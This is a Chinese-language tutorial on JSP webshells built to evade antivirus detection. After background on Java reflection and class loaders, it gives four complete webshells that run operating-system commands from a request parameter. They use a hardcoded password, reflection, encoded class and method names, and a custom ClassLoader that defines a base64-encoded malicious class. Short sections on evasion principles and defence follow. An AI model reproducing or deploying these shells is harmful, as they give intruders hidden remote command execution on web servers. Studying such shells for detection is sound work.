JSP免杀马
字数 854 2025-08-10 09:43:36
JSP免杀马技术详解
一、Java反射机制
1. 反射概念
Java反射机制是指在程序运行状态中,可以动态获取类的信息并操作类或对象的属性和方法。这种机制使得Java具有动态语言特性。
2. 获取Class对象的三种方式
// 1. 通过完整类名获取
Class.forName("完整类名带包名")
// 2. 通过对象实例获取
对象.getClass()
// 3. 通过类字面常量获取
任何类型.class
3. 反射使用示例
import java.lang.reflect.Method;
public class testClass {
public static void main(String[] args) throws Throwable {
// 正常方式调用
Reflect reflect = new Reflect();
reflect.print(1, 2);
// 部分反射调用
Class<?> aClass = Class.forName("reflection.Reflect");
Method method = aClass.getMethod("print", int.class, int.class);
method.invoke(reflect, 1, 2);
// 全部反射调用
Class.forName("reflection.Reflect")
.getMethod("print", int.class, int.class)
.invoke(Class.forName("reflection.Reflect")
.getMethod("getReflect")
.invoke(Class.forName("reflection.Reflect")), 1, 2);
}
}
二、ClassLoader加载机制
1. Java类加载器层次结构
- Bootstrap ClassLoader:最顶层加载器,加载核心类库(%JRE_HOME%/lib下的rt.jar等)
- Extention ClassLoader:扩展类加载器,加载%JRE_HOME%/lib/ext目录
- Appclass Loader:系统类加载器,加载当前应用的classpath所有类
2. 类加载器测试代码
public class LoaderClass {
public static void main(String[] args) {
// 查看各加载器加载路径
System.out.println(System.getProperty("sun.boot.class.path")); // Bootstrap
System.out.println(System.getProperty("java.ext.dirs")); // ExtClassLoader
System.out.println(System.getProperty("java.class.path")); // AppClassLoader
// 查看类加载器层次
ClassLoader systemClassLoader = Loader.MyLoader.class.getClassLoader();
System.out.println("systemClassLoader = " + systemClassLoader);
ClassLoader extensionClassLoader = systemClassLoader.getParent();
System.out.println("extensionClassLoader = " + extensionClassLoader);
ClassLoader bootstrapClassloader = extensionClassLoader.getParent();
System.out.println("bootstrapClassloader = " + bootstrapClassloader);
}
}
3. 类加载委托机制
加载类时遵循"父委托"机制:自定义类加载器 → AppClassLoader → ExtClassLoader → BootstrapClassLoader
三、JSP免杀马实现
1. 基础JSP马
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
if ("666".equals(request.getParameter("pwd"))) {
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
out.print("<pre>");
java.io.InputStreamReader resultReader = new java.io.InputStreamReader(in);
java.io.BufferedReader stdInput = new java.io.BufferedReader(resultReader);
String s = null;
while ((s = stdInput.readLine()) != null) {
out.println(s);
}
out.print("</pre>");
}
%>
2. 反射改进版
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
if (request.getParameter("cmd") != null) {
Class rt = Class.forName("java.lang.Runtime");
Process e = (Process) rt.getMethod("exec").invoke(
rt.getMethod("getRuntime").invoke(null),
request.getParameter("cmd"));
// 输出处理代码同上
}
%>
3. 字符串加密版
<%@ page import="sun.misc.BASE64Decoder" %>
<%
if (request.getParameter("cmd") != null) {
BASE64Decoder decoder = new BASE64Decoder();
byte[] bytes = decoder.decodeBuffer("MTA1LCA5NiwgMTE3LCA5NiwgNDUsIDEwNywgOTYsIDEwOSwgMTAyLCA0NSwgODEsIDExNiwgMTA5LCAxMTUsIDEwNCwgMTA4LCAxMDA=");
for (int i = 0; i < bytes.length; i++) {
bytes[i] = (byte) (bytes[i] + 1);
}
Class rt = Class.forName(new String(bytes));
Process e = (Process) rt.getMethod(new String(new byte[]{101, 120, 101, 99}), String.class)
.invoke(rt.getMethod(new String(new byte[]{103, 101, 116, 82, 117, 110, 116, 105, 109, 101}))
.invoke(null), request.getParameter("cmd"));
// 输出处理代码同上
}
%>
4. ClassLoader高级免杀版
恶意类代码
package pass.loader;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
public class EvalClass {
public String command;
public EvalClass(String command) throws IOException {
StringBuilder stringBuilder = new StringBuilder();
Process process = Runtime.getRuntime().exec(command);
BufferedReader bufferedReader = new BufferedReader(
new InputStreamReader(process.getInputStream()));
String print;
while ((print = bufferedReader.readLine()) != null) {
stringBuilder.append(print).append("\\n");
}
this.command = stringBuilder.toString();
}
@Override
public String toString() {
return this.command;
}
}
JSP马实现
<%@ page import="sun.misc.BASE64Decoder" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
if ("666".equals(request.getParameter("pwd"))) {
String cmd = request.getParameter("cmd");
ClassLoader classLoader = new ClassLoader() {
@Override
protected Class<?> findClass(String name) throws ClassNotFoundException {
try {
BASE64Decoder decoder = new BASE64Decoder();
byte[] bytes = decoder.decodeBuffer("yv66vgAAADQAUAoAEQAuBwAvCgACAC4KADAAMQoAMAAyBwAzBwA0CgA1ADYKAAcANwoABgA4CgAGADkKAAIAOggAOwoAAgA8CQAQAD0HAD4HAD8BAAdjb21tYW5kAQASTGphdmEvbGFuZy9TdHJpbmc7AQAGPGluaXQ+AQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABdMcGFzcy9sb2FkZXIvRXZhbENsYXNzOwEADXN0cmluZ0J1aWxkZXIBABlMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAHcHJvY2VzcwEAE0xqYXZhL2xhbmcvUHJvY2VzczsBAA5idWZmZXJlZFJlYWRlcgEAGExqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyOwEABXByaW50AQANU3RhY2tNYXBUYWJsZQcAPgcAQAcALwcAQQcAMwEACkV4Y2VwdGlvbnMHAEIBAAh0b1N0cmluZwEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAKU291cmNlRmlsZQEADkV2YWxDbGFzcy5qYXZhDAAUAEMBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgcARAwARQBGDABHAEgBABZqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyAQAZamF2YS9pby9JbnB1dFN0cmVhbVJlYWRlcgcAQQwASQBKDAAUAEsMABQATAwATQArDABOAE8BAAEKDAAqACsMABIAEwEAFXBhc3MvbG9hZGVyL0V2YWxDbGFzcwEAEGphdmEvbGFuZy9PYmplY3QBABBqYXZhL2xhbmcvU3RyaW5nAQARamF2YS9sYW5nL1Byb2Nlc3MBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQADKClWAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qc@@@jZXNzOwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBABMoTGphdmEvaW8vUmVhZGVyOylWAQAIcmVhZExpbmUBAAZhcHBlbmQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsAIQAQABEAAAABAAEAEgATAAAAAgABABQAFQACABYAAADnAAUABgAAAEsqtwABuwACWbcAA024AAQrtgAFTrsABlm7AAdZLbYACLcACbcACjoEGQS2AAtZOgXGABIsGQW2AAwSDbYADFen/+kqLLYADrUAD7EAAAADABcAAAAiAAgAAAAKAAQACwAMAAwAFAANACgADwAzABAAQgASAEoAEwAYAAAAPgAGAAAASwAZABoAAAAAAEsAEgATAAEADAA/ABsAHAACABQANwAdAB4AAwAoACMAHwAgAAQAMAAbACEAEwAFACIAAAAeAAL/ACgABQcAIwcAJAcAJQcAJgcAJwAA/AAZBwAkACgAAAAEAAEAKQABACoAKwABABYAAAAvAAEAAQAAAAUqtAAPsAAAAAIAFwAAAAYAAQAAABcAGAAAAAwAAQAAAAUAGQAaAAAAAQAsAAAAAgAt");
return defineClass(name, bytes, 0, bytes.length);
} catch (IOException e) {
e.printStackTrace();
}
return super.findClass(name);
}
@Override
public Class<?> loadClass(String name) throws ClassNotFoundException {
if (name.contains("EvalClass")) {
return findClass(name);
} else {
return super.loadClass(name);
}
}
};
Class<?> evalClass = classLoader.loadClass("pass.loader.EvalClass");
Constructor cos = evalClass.getConstructor(String.class);
Object obj = cos.newInstance(cmd);
out.print("<pre>");
out.print(obj.toString());
out.print("</pre>");
}
%>
四、免杀原理分析
- 反射机制:避免直接调用敏感类和方法,通过反射间接调用
- 字符串加密:对关键类名和方法名进行编码/加密,避免特征检测
- ClassLoader隔离:将恶意代码完全封装在自定义类加载器中,与正常代码隔离
- 动态加载:运行时动态加载恶意类,避免静态检测
五、防御建议
- 监控所有自定义ClassLoader的加载行为
- 对反射调用进行深度检测
- 禁止非必要的高危反射操作
- 加强运行时行为监控,特别是进程创建行为
- 对上传的JSP文件进行严格的内容检测
六、总结
JSP免杀马技术主要利用Java的反射机制和类加载机制实现,相比PHP马更难检测。当前主流防御手段是通过检测特征码和行为特征,而高级免杀技术则通过完全隔离恶意代码、动态加载等方式绕过检测。防御方需要从多个层面进行防护,包括静态检测、运行时监控和行为分析等。